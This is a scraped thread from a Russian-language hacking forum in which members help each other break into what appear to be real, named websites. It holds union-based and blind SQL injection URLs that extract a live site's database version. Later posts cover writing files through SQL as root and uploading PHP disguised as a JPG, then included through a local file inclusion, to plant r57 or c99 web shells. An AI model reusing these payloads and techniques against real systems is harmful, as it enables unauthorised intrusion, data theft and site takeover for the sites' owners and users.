Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    to 2Fed123
    видел я парсер на перле, помоему его в последнем хакере выкладывали
     
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    Проще будет самому написать.
     
  3. 2Fed123

    2Fed123 Banned

    Joined:
    26 Feb 2009
    Messages:
    59
    Likes Received:
    5
    Reputations:
    0
    Ctacok
    Напиши,буду очень признателен
     
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    Не силён в Perl.
    Попробуй сам написать.
    Если будут вопросы пиши сюда:
    https://forum.antichat.ru/
    threadedpost1594515.html#post1594515 .

    Это если на PHP будешь писать.

    А если на Perl:
    https://forum.antichat.ru/thread40897.html
     
  5. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    Ctacok жжет ))
    2Fed123 цык
    разберешся там просто
    цэ грабер с хакера
     
  6. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    Помогите раскрутить скулю (добиться вывода)...

    узнаем что есть 21 поле
    http://www.enext.ua/index.php?node=770+order+by+21--

    http://www.enext.ua/index.php?node=-770+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    вывода нет...
     
  7. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    736
    Likes Received:
    404
    Reputations:
    134
    Ща набегут и помогут, а пока вот,пробуй сам раскрутить)
     
    1 person likes this.
  8. pelligrim

    pelligrim Elder - Старейшина

    Joined:
    26 Apr 2008
    Messages:
    31
    Likes Received:
    20
    Reputations:
    0
    чет не получается... начал перечитывать статью по символьному перебору https://forum.antichat.ru/showpost.php?p=407227&postcount=3 но понял, что вроде как не в ту сторону копаю...
    Может распишешь запрос к выводу, а я по аналогии разберусь с этим примером...
     
  9. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    344
    Likes Received:
    142
    Reputations:
    81
    pelligrim в ту сторону копаеш, только твой вывод это правильно отображение странички (т.е. правильное выполнение запроса), а тут смотри выводим версию бд
    Code:
    http://www.enext.ua/index.php?node=0+and+substring(version(),1,1)=5 => 1 символ равняеться 5
    http://www.enext.ua/index.php?node=0+and+ascii(lower(substring(version(),2,1)))=0x2E => так опряделяем точку
    http://www.enext.ua/index.php?node=0+and+substring(version(),3,1)=0 => тут ноль
    http://www.enext.ua/index.php?node=0+and+ascii(lower(substring(version(),4,1)))=0x2E
    http://www.enext.ua/index.php?node=0+and+substring(version(),5,1)=7  => ну и тут 2 семерки
    http://www.enext.ua/index.php?node=0+and+substring(version(),6,1)=7
    
    в итоге получаем версию мускула - 5.0.77
     
    1 person likes this.
  10. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    337
    Likes Received:
    110
    Reputations:
    18
    проблема такая,выполняю sql запрос в пхпадмине,пишет: Запрос выполнен успешно,смотрю файл пустой,пробовал писать произволные символы.Успеха нет.
    Пишу в папку tmp ,пишеться,читаю админом файл пустой..Юзер рут
     
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,043
    Likes Received:
    1,138
    Reputations:
    350
    Shadrin
    Мб на запрос посмотрим, или сами догадаемся?
    Уверен, что файл пустой, или всё-же его нет?
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196

    пустой - это ты видишь в phpmyadmine, после load_file() результат "NULL"?
     
    1 person likes this.
  13. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    337
    Likes Received:
    110
    Reputations:
    18
    Запрос был вот
    нет он писал именно файл с размером 0, в папке на запись был Index Of ,поэтому все было видно, проблема решилось следующим образом,я просто изменил таблицу и базу куда слал запрос,и все записалось)
    UpЕсть админка через которую можно заливать пхп код,только переименовывает в жпг,и вижу исходник шелла, и так же есть локальный инклуд,если возможно то как залить шелл?
     
    #9273 Shadrin, 15 Oct 2009
    Last edited: 15 Oct 2009
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    736
    Likes Received:
    404
    Reputations:
    134
    Возможно.инклюдь картинку.
     
    1 person likes this.
  15. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    337
    Likes Received:
    110
    Reputations:
    18
    залил r57,частично отображается,куски кода на все страницу где кнопки где их нету,с99 кодированный вообще не открывается, пихаю <?php phpinfo();?> ,переименовываю в жпг,заливаю,открываю в ие исходник есть,через иклюд вообще кода нету.:confused:
     
    #9275 Shadrin, 15 Oct 2009
    Last edited: 15 Oct 2009
  16. smth

    smth New Member

    Joined:
    14 Sep 2009
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Может chroot там какой извращенский для пхп...
     
    #9276 smth, 15 Oct 2009
    Last edited: 15 Oct 2009
  17. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    344
    Likes Received:
    142
    Reputations:
    81
    Shadrin пхп неисполняеться, ищи другой способ
     
  18. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    501
    Likes Received:
    380
    Reputations:
    49
    а что ты хотел в жпг картинку засунуть пшп код , и чтоб он выполнялся?
     
    1 person likes this.
  19. Shadrin

    Shadrin Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    337
    Likes Received:
    110
    Reputations:
    18
    я вообще хотел залить шел,и спросил что можно сделать
     
    #9279 Shadrin, 15 Oct 2009
    Last edited: 15 Oct 2009
    1 person likes this.
  20. Shaitan-Devil

    Shaitan-Devil Elder - Старейшина

    Joined:
    15 Aug 2008
    Messages:
    155
    Likes Received:
    71
    Reputations:
    9
    Скорее всего как сказали выше пехопе не исполняется для твоих файлов. Вообще сайт написан на чем?
     
Loading...
Thread Status:
Not open for further replies.